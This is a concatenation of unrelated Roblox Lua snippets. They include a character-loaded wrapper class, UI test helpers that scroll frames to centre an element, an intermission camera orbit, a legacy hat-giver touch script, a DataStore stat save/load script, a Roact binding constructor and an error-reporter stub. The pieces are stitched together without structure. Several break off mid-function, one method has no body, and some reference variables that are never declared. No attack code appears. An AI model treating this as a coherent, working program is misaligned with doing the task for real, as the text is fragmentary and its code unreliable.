local ReplicatedStorage = game:GetService("ReplicatedStorage") local Workspace = game:GetService("Workspace") local Signal = require(ReplicatedStorage.Source.Signal) local Connections = require(ReplicatedStorage.Source.Connections) local waitForChildOfClassAsync = require(ReplicatedStorage.Source.Utility.waitForChildOfClassAsync) local function isPrimaryPartSet(character: Model) return if character.PrimaryPart then true else false end local function isHumanoidRootPartSet(humanoid: Humanoid) return if humanoid.RootPart then true else false end local function getHumanoid(character: Model) return character:FindFirstChildOfClass("Humanoid") end local function isHumanoidAlive(character: Model) local humanoidMaybe = getHumanoid(character) if not humanoidMaybe then return false end local humanoid = humanoidMaybe :: Humanoid return isHumanoidRootPartSet(humanoid) and humanoid.Health > 0 end local CharacterLoadedWrapper = {} CharacterLoadedWrapper.__index = CharacterLoadedWrapper export type ClassType = typeof(setmetatable( {} :: { loaded: Signal.ClassType, died: Signal.ClassType, _player: Player, _destroyed: boolean, _connections: Connections.ClassType, }, CharacterLoadedWrapper )) function CharacterLoadedWrapper.new(player: Player): ClassType local self = { loaded = Signal.new(), died = Signal.new(), _player = player, _destroyed = false, _connections = Connections.new(), } setmetatable(self, CharacterLoadedWrapper) self:_listenForCharacterAdded() return self end function CharacterLoadedWrapper.isLoaded(self: ClassType, optionalCharacter: Model?) -- Character can be passed in to check if a specific character model is -- the currently loaded character model. Useful if you are maintaining a reference -- to a specific character model, you want to verify that :isLoaded() is true, but -- you also want to make sure your current character reference isn't out of date. local characterMaybe = optionalCharacter or self._player.Character if not characterMaybe then return false end local character = characterMaybe :: Model return isPrimaryPartSet(character) and isHumanoidAlive(character) and character:IsDescendantOf(Workspace) end function CharacterLoadedWrapper._listenForCharacterAdded(self: ClassType) task.spawn(function() local character = self._player.Character -- Avoids firing .loaded event when the character is already loaded if character then if self:isLoaded() then self:_listenForDeath(character) else self:_waitForLoadedAsync(character) end end local characterAddedConnection = self._player.CharacterAdded:Connect(function(newCharacter: Model) self:_waitForLoadedAsync(newCharacter) end) self._connections:add(characterAddedConnection) end) end
-- Set anchor at offset from absolute position
function Element:setAnchor(offsetX, offsetY) if(offsetX > self:getSize().x or offsetY > self:getSize().y or offsetX < 0 or offsetY < 0) then error("Attempt to set anchor beyond element's bounds") else self.anchor = Vector2.new(offsetX, offsetY) end end function Element:isDisplayed() return self:getRbxInstance().Visible end function Element:isSelected() return self:getRbxInstance().Selected end function Element:getRbxInstance() return self:waitForRbxInstance(self.path.waitDelay, self.path.waitTimeout) end function Element:waitForRbxInstance(timeout, delay) if self.rbxInstance == nil and self.path ~= nil then self.path:setWait(timeout, delay) self.rbxInstance = self.path:waitForFirstInstance() end if self.rbxInstance and not self.anchor then if pcall(function() local size = self.rbxInstance.AbsoluteSize end) then self.anchor = self.rbxInstance.AbsoluteSize/2 else self.anchor = nil end end return self.rbxInstance end function Element:_override(class) for k, v in pairs(class) do if not k:find("^_") then self[k] = v end end end function Element:centralizeInstance() self:_centralizeInScrollingFrame(self:getRbxInstance()) end function Element:centralize() local instance = self:getRbxInstance() if instance then self:centralizeInstance() else self:centralizeWithInfiniteScrolling() end end function Element:_scrollingFrames(instance) if instance == nil or instance == game then return 0 end local num = self:_scrollingFrames(instance.Parent) if instance.ClassName == "ScrollingFrame" then num = num + 1 end return num end function Element:_centralizeInScrollingFrame(child, parent) if child == game then return end parent = parent or child.Parent if parent == game then return end if parent.ClassName == "ScrollingFrame" then self:_centralizeInScrollingFrame(parent, parent.Parent) -- this is computational error tolerate. local threshold = 2 --first scroll down to make child appears neas screen, --so that we can access child.AbsolutPosition property local isChildInScreen = false while not isChildInScreen do local prevChildPosition = child.AbsolutePosition local prevCanvasPosition = parent.CanvasPosition -- when scroll too much at one time, the element may move out side of screen immediately -- its AbsoluteSize will not update. limit to 300 local scrollDistance = Vector2.new(math.min(300, parent.AbsoluteSize.X), math.min(300, parent.AbsoluteSize.Y)) parent.CanvasPosition = parent.CanvasPosition + scrollDistance wait() local deltaCanvas = (parent.CanvasPosition - prevCanvasPosition) local isBottom = deltaCanvas.Magnitude <= threshold local deltaChild = child.AbsolutePosition - prevChildPosition isChildInScreen = isBottom or deltaChild.Magnitude > threshold end --second scroll to centerize the child, at most twice. for _ = 1, 2 do local frameCenter = parent.AbsolutePosition + parent.AbsoluteSize/2 local childCenter = child.AbsolutePosition + child.AbsoluteSize/2 local delta = childCenter - frameCenter if delta.Magnitude <= threshold then break end parent.CanvasPosition = parent.CanvasPosition + delta wait() end else self:_centralizeInScrollingFrame(child, parent.Parent) end end function Element:_scrollToFindInstance(scrollingFrame, absPath)
-- Local Functions
local function StartIntermission() -- Find flag to circle. Default to circle center of map local possiblePoints = {} table.insert(possiblePoints, Vector3.new(0,50,0)) for _, child in ipairs(game.Workspace:GetChildren()) do if child.Name == "FlagStand" then table.insert(possiblePoints, child.FlagStand.Position) end end local focalPoint = possiblePoints[math.random(#possiblePoints)] Camera.CameraType = Enum.CameraType.Scriptable Camera.Focus = CFrame.new(focalPoint) local angle = 0 game.Lighting.Blur.Enabled = true RunService:BindToRenderStep('IntermissionRotate', Enum.RenderPriority.Camera.Value, function() local cameraPosition = focalPoint + Vector3.new(50 * math.cos(angle), 20, 50 * math.sin(angle)) Camera.CoordinateFrame = CFrame.new(cameraPosition, focalPoint) angle = angle + math.rad(.25) end) end local function StopIntermission() game.Lighting.Blur.Enabled = false RunService:UnbindFromRenderStep('IntermissionRotate') Camera.CameraType = Enum.CameraType.Custom end local function OnDisplayIntermission(display) if display and not InIntermission then InIntermission = true StartIntermission() end if not display and InIntermission then InIntermission = false StopIntermission() end end
--Var
local farawayCFrame: CFrame = CFrame.new(0, 10e8, 0)
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -0.45, -0.01) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[[ The rest isn't as customizable" ]]
-- debrisS, playerS, datastoreS, gamepassS, marketS = game:GetService("Debris"), game:GetService("Players"), game:GetService("DataStoreService"), game:GetService("GamePassService"), game:GetService("MarketplaceService") function passedPlayer(p, isLeaving) print(p.Name.." has passed") local function sendMessage(txt) if gameStats["DoMessages?"] then local message = Instance.new("Message", p.PlayerGui) message.Text = txt debrisS:AddItem(message, 2) end end local save, load = function() local cDatastore, statStorage = datastoreS:GetDataStore(p.Name.."Stats"), p:WaitForChild("PlayerData"):GetChildren() for i = 1, #statStorage do cDatastore:SetAsync(statStorage[i].Name, statStorage[i].Value) end sendMessage("Your stats have been saved.") end, function() local cDatastore, stats = datastoreS:GetDataStore(p.Name.."Stats"), p:FindFirstChild("PlayerData"):GetChildren() for i = 1, #stats do stats[i].Value = cDatastore:GetAsync(stats[i].Name) end sendMessage("Your stats have been loaded.") end local chatted = function(c) c = c:lower() for i, v in pairs(gameStats["DoChat?"]["Keywords"]) do if (c == v) then save() end end end if isLeaving then save() else load() if gameStats["DoChat?"]["DoIt?"] then p["Chatted"]:connect(chatted) end end end function passTest(p, isLeaving) print("Test starting") if gameStats["IsAnObby?"] then local cAdded = function(c) p:LoadCharacter(true) end p["CharacterAdded"]:connect(cAdded) end if gameStats.saveType["Normal?"] then passedPlayer(p, isLeaving) else if gameStats.saveType["SavingList?"]["DoIt?"] then for i, v in pairs(gameStats.saveType["SavingList?"].theList) do if (p.Name == v) then passedPlayer(p, isLeaving) end end elseif gameStats.saveType["BestFriends?"] then if p:IsBestFriendsWith(game.CreatorId) then passedPlayer(p, isLeaving) end elseif gameStats.saveType["Friends?"] then if p:IsFriendsWith(game.CreatorId) then passedPlayer(p, isLeaving) end elseif gameStats.saveType["OwnerOnly?"] then if (p.userId == game.CreatorId) then passedPlayer(p, isLeaving) end elseif gameStats.saveType["Gamepass?"]["DoIt?"] then if p:PlayerHasPass(p, gameStats.saveType["Gamepass?"]["GamepassId"]) then passedPlayer(p, isLeaving) end elseif gameStats.saveType["Asset/Item?"]["DoIt?"] then if p:PlayerOwnsAsset(p, gameStats.saveType["Asset/Item?"]["AssetId"]) then passedPlayer(p, isLeaving) end end end end pAdded, pLeaving = function(p) local lStats = false while true do if p:findFirstChild("PlayerData") then lStats = p:findFirstChild("PlayerData") passTest(p, false) break end wait() end end, function(p) passTest(p, true) end playerS["PlayerAdded"]:connect(pAdded) playerS["PlayerRemoving"]:connect(pLeaving)
--[[ Create a new binding object with the given starting value. This function will be exposed to users of Roact. ]]
function Binding.create(initialValue) local binding = { [Type] = Type.Binding, [InternalData] = { value = initialValue, changeSignal = createSignal(), subscriberCount = 0, valueTransform = identity, upstreamBinding = nil, upstreamDisconnect = nil, }, } setmetatable(binding, bindingPrototype) local setter = function(newValue) Binding.update(binding, newValue) end return binding, setter end return Binding
-- Used by event system to capture/rethrow the first error.
local hasRethrowError = false local rethrowError = nil local reporter = { onError = function(err) hasError = true caughtError = err end, } local exports = {}